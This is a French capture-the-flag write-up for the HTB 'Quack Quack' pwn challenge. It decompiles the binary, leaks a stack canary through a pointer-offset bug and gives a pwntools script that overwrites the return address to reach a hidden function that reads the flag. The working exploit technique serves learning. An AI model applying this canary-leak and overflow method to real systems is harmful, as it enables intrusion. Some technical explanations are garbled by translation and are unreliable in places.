Cyber Apocalypse 2025 - Charlatan
Table of Contents
Coin Coin
L'un de mes défis préférés du HTB CTF de cette année était Quack Quack.
Pour coin coin, on nous a donné deux choses :
- Un fichier ELF binaire
quack_quack - Une IP et un port auxquels se connecter

La connexion à la télécommande nous a accueillis avec un canard et une invite, qui se ferme immédiatement quelle que soit l'entrée donnée.
Étant la seule autre chose qui nous a été donnée, j'ouvre le binaire quack_quack dans Ghidra pour voir ce qui se passe (je suppose que le binaire est ce qui s'exécute sur la télécommande).
Après démontage, il convient de noter quelques fonctions intéressantes sur la gauche :
-duckling
-duck_attack
-banner
-setup
-main
Parmi ceux-ci, seuls duckling, duck_attack et main sont pertinents. Jetons donc un coup d'œil à la fonction principale pour voir comment se déroule la logique du programme :
Ici, nous voyons qu'en appuyant sur la fonction principale, le programme crée simplement un canari, exécute duckling, puis se termine. Alors, regardons duckling
Il y a beaucoup de logique ici, alors décomposons-le :
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
La première partie de la fonction alloue un tas de variables. Rien de fou. local_10 est la valeur canari.
Ensuite, il affiche l'invite sur la sortie standard (rappelez-vous, c'est la même invite que celle que nous avons vue lors de la connexion à la télécommande) :
printf("Quack the Duck!\n\n> ");
fflush(stdout);
Lit ensuite 102 octets de stdin et stocke les données au pointeur local_88
read(0,&local_88,0x66);
Nous exécutons ensuite la fonction strstr ( const char * str1, const char * str2 ) C, qui renvoie un pointeur vers la première occurrence de str2 dans str1 , ou un pointeur nul s'il n'est pas trouvé. Essentiellement, il recherche dans notre entrée &local_88 la chaîne "Quack Quack", et renvoie soit un pointeur nul si la chaîne n'est pas trouvée, soit le pointeur vers l'endroit où "Quack Quack" est trouvé pour la première fois.
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
Le programme vérifie ensuite si le résultat est un pointeur nul. Si c'est le cas, il quitte et écrit un message. Encore une fois, c'est ce que nous avons vu lorsque nous nous sommes connectés.
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
Si nous le voulons, nous pouvons vérifier cette logique en nous connectant à nouveau à la télécommande et en entrant "Quack Quack " (il vérifie l'espace)

Retour au code :
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Ici, le programme imprime un message avec une substitution, en remplaçant %s par les données situé 32 octets après le pointeur de l'extrait précédent. Juste après, il effectue une autre lecture stdin, mais cette fois lit 40 (0x28) octets et les stocke dans une variable :
read(0,&local_68,0x6a)
Après cela, il imprime sans condition une chaîne fixe et renvoie.
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
En effet, on peut constater ce comportement :

Il est assez évident à ce stade que nous sommes conduits à une attaque par débordement de mémoire tampon. Le problème clé est que local_68 n'est qu'à 0x20 (32) octets de la fin du premier tampon, mais la deuxième lecture accepte 106 octets. Cela signifie que nous pouvons écrire au-delà des limites du tampon et potentiellement écraser l'adresse de retour.
N'oubliez pas non plus qu'il existe une autre fonction que nous avons vue : duck_attack. Il est évident que cette fonction est notre cible. Nous voulons exécuter cela sur le serveur, mais l'intrigue s'épaissit : rappelez-vous que nous avons déjà vu le code de la fonction main et de la fonction duckling, et nulle part dans le code cette fonction n'est appelée. Donc, dans des conditions normales, cette fonction ne sera jamais appelée et il n'y a aucun chemin logique qui mènera à l'exécution de cette fonction. Ce qui signifie que la manière seulement d'exécuter éventuellement cela sur le serveur consiste à écraser une adresse de retour via un débordement.

Cool, alors essayons une attaque par débordement de tampon. Cela peut être facilement fait en attachant un débogueur et en générant une charge utile de 106 octets de long, et en l'utilisant comme deuxième entrée. N'oubliez pas que nous devons saisir "Quack Quack" comme première entrée pour réussir le contrôle :

C'est ici que le défi devient un peu plus difficile. Il dispose d'une protection contre les attaques par débordement de tampon, comme le montre le crash _DAST5_*: terminated. La protection est probablement offerte par le compilateur générant automatiquement des contrôles Canary avant les sauts RBP. Vous pouvez en savoir plus sur la façon dont cela fonctionne here, mais en gros :
- Avant le tampon
RBPen mémoire, une valeur canari est placée (juste un tas de données aléatoires générées au moment de l'exécution). - Si la valeur Canary est modifiée, cela signifie qu'un tampon qui la précède a débordé dans l'adresse Canary, et le programme sait qu'un débordement de tampon s'est produit. C'est à ce moment-là que le crash se produit.
- Parce que le
RBPstocke l'adresse de retour, la fonction ne peut pas renvoie sauf si le canari reste inchangé
Cela restreint notre style, car une attaque typique par débordement de tampon fonctionne en écrasant l'adresse de retour par une adresse de notre choix (dans ce cas, nous choisirions l'adresse de duck_attack). Cependant, comme le pointeur de retour se trouve à la fin de la pile, nous devrons écraser le canari pour y accéder.
La seule façon de contourner ce type de protection est de divulguer d'une manière ou d'une autre la valeur Canary au moment de l'exécution, et en cas de débordement et de destruction de données en dehors du tampon prévu, nous plaçons la valeur Canary là où elle se trouvait, au décalage correct.
Il existe une vulnérabilité dans la logique sur la première entrée :
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Pour résumer, ce code :
- Renvoie le pointeur de la première instance de
Quack Quackdans l'entrée - Imprime la mémoire décalée de 32 octets par rapport à ce pointeur.
Ici, nous pouvons manipuler le pointeur et, espérons-le, lui faire imprimer la valeur Canary. Ouvrons à nouveau notre débogueur et définissons un point d'arrêt juste après la sortie correspondante.
Maintenant, nous avons essentiellement une mémoire arbitraire lue en manipulant le décalage de la sous-chaîne vérifiée depuis le début de l'entrée (elle ne peut avoir qu'une taille de 102 octets). Malheureusement, nous ne savons pas où se trouve la valeur Canary, par rapport à l'endroit où le tampon d'entrée est stocké. Par exemple, prenons l'exécution suivante avec 49 a précédant la chaîne :
Là où le %s est remplacé, nous le voyons ne rien produire. En effet, on suppose que l'adresse mémoire de 32 octets à partir du pointeur généré avec 49 a est vide. Puisque nous devinons maintenant avec la mémoire, nous allons devoir commencer à automatiser. Pour cela, j'utiliserai Python et pwntools.
Écrivons un script rapide pour forcer brutalement le nombre de a nécessaire pour divulguer le canari. Dans ce cas, il suffit de tester 1-90, puisque la taille maximale du tampon est de 102 octets et que "Quack Quack" en prend déjà 12.
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
Je n'ai pas écrit de commentaires dans mon code, mais cela devrait être assez explicite. Voici le résultat :
Pour la plupart, la mémoire est vide. Mais vous verrez à certains endroits on arrive à récupérer un peu de données. Cependant, ce n'est qu'avec un décalage de 89 que nous voyons réellement une quantité de données utilisable. Cela signifie que nous avons probablement localisé le canari juste à la fin ! Nous avons ici affaire à des données binaires, elles ne seront donc pas affichées correctement sur un terminal. Pour résoudre ce problème, nous devrons effectuer une analyse dans notre script.
Remarque : je suis resté bloqué plusieurs heures ici. Le problème était que nous lisions la mémoire et la produisions, donc l'endianité était inversée. Nous devons réorganiser manuellement l'endian afin d'avoir des données utilisables
Nous modifions notre script comme ceci :
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
Et nous avons maintenant la valeur canari !
Comme ceci est généré au moment de l'exécution, nous ne pouvons malheureusement pas l'utiliser comme valeur finale, nous devrons l'extraire au moment de l'exécution et l'utiliser dans la charge utile. Ce n'est pas un problème, mais cela mérite d'être noté.
Maintenant, rappelez-vous. Notre objectif est de réécrire l'adresse de retour pour revenir à la fonction duck_attack pour imprimer le drapeau. Et on connaît l'adresse de la fonction dès le démontage :
Nous pouvons ajouter l'adresse en tant que variable, et n'oubliez pas d'inverser le boutiste :
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
Mais avant cela, retournons dans le débogueur et essayons de vérifier notre canari. Malheureusement, dans GDB, après avoir atteint notre point d'arrêt :
et inspecté la pile :
, nous ne pouvons pas comparer notre canari à ce qui est en mémoire, car les données binaires ne sont pas affichées sur notre terminal. Nous devrons donc attacher notre débogueur gdb à l'intérieur de notre script où nous pourrons analyser la sortie brute.
Pour ce faire, nous ajoutons simplement gdb.attach(conn) et là où nous voulons inspecter, nous pouvons ajouter pause(). Dans notre cas, nous ajouterons simplement le pause() avant de fermer la connexion. Maintenant, nous ouvrons un débogueur juste après avoir imprimé le canari :
Vous verrez que notre canari s'accorde ! Ce qui signifie que nous pouvons maintenant passer à la deuxième partie de l'exploit (vous vous souvenez du deuxième read() ?)
Maintenant, nous avons le canari et nous essayons d'écraser l'adresse de retour. Tout comme avec le canari, nous ne connaissons pas la position de notre cible par rapport à la pile que nous écrasons. Nous pouvons faire quelque chose de similaire à la façon dont nous avons fait la première partie et le forcer brutalement. N'oubliez pas que le canari sera juste avant RBP, nous pouvons donc ajouter lentement à notre débordement avec notre canari à la fin.
Tant que le trop-plein est suffisamment petit, le canari ne sera pas touché et rien ne se passera. Lorsque le débordement est trop important, nos personnages indésirables écraseront le canari et nous obtiendrons un crash qui écrasera la pile. Mais, lorsque nous aurons le décalage correct, il chevauchera parfaitement le canari et remplacera l'adresse de retour par l'adresse de duck_attack, en lisant le fichier flag.txt.
Ajoutons donc ceci à notre script, en itérant sur i :
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
Et on obtient un résultat intéressant avec 88 a :

Mais... Nous espérions avoir le drapeau. Où est-il? Pourquoi affichons-nous du texte aléatoire à la place ?
Passons à notre débogueur et découvrons :
Nous vérifions que RBP n'a pas été écrasé. Cela nous amène donc à la question : où est arrivée notre charge utile ? mdr. Jetons un coup d'œil à la pile et découvrons-le.
D'accord, c'est intéressant. Notre charge utile (40137f) est à 0x7ffe95725d30, mais nous la voulons dans 0x7ffe95725d20. Ajoutons donc quelques octets avant notre charge utile d'attaque et débogons :
Ok, c'est un progrès. Nous voyons maintenant que nous écrasons partiellement RBP, ce qui conduit à une adresse mémoire invalide :
Ajoutons donc 8 octets avant notre charge utile d'attaque pour la déplacer en position + (b'A'*8) + attack_bytes
On dirait que nous l'avons compris ! Le flag.txt sur ma machine s'affichait correctement. Nous devons maintenant l'exécuter sur le serveur.

Bien, nous l'avons eu ! (Il est 2h du matin maintenant)